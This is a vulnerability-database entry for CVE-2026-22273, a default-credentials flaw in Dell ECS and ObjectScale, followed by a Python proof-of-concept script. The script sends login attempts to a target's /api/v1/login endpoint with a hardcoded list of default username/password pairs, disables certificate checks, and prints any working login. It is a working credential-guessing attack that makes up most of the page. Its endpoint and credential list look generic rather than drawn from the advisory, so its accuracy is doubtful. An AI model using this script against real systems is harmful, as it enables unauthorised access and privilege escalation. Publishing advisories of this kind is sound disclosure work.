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CVE-2026-22273 CVSS 8.8 HIGH

CVE-2026-22273

Published: 2026-01-23 10:15:53
Last Modified: 2026-02-18 13:55:13

Description

Dell ECS, versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.2.0.0, contains an Use of Default Credentials vulnerability in the OS. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:elastic_cloud_storage:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:objectscale:*:*:*:*:*:*:*:* - VULNERABLE
Dell ECS 3.8.1.0 - 3.8.1.7
Dell ObjectScale < 4.2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22273 PoC - Dell ECS/ObjectScale Default Credentials Check Note: This is for authorized security testing only """ import requests import sys from typing import List, Tuple # Default credentials to test (commonly found in Dell storage systems) DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [ ("admin", "password"), ("admin", "admin"), ("root", "calvin"), ("administrator", "password"), ("ecsadmin", "ecsadmin"), ("objectscale", "objectscale"), ("support", "support"), ("diag", "diag") ] def check_default_credentials(target_url: str) -> dict: """ Check if target Dell ECS/ObjectScale instance uses default credentials """ results = { "target": target_url, "vulnerable": False, "valid_credentials": None, "message": "" } # Test API endpoint for authentication auth_endpoint = f"{target_url.rstrip('/')}/api/v1/login" for username, password in DEFAULT_CREDENTIALS: try: response = requests.post( auth_endpoint, json={"username": username, "password": password}, timeout=10, verify=False ) if response.status_code == 200: data = response.json() if data.get("status") == "success" or "token" in data: results["vulnerable"] = True results["valid_credentials"] = {"username": username, "password": password} results["message"] = f"Default credentials found: {username}:{password}" return results except requests.exceptions.RequestException: continue results["message"] = "No default credentials found or target not accessible" return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_22273_poc.py <target_url>") sys.exit(1) target = sys.argv[1] result = check_default_credentials(target) print(f"Target: {result['target']}") print(f"Vulnerable: {result['vulnerable']}") print(f"Message: {result['message']}")

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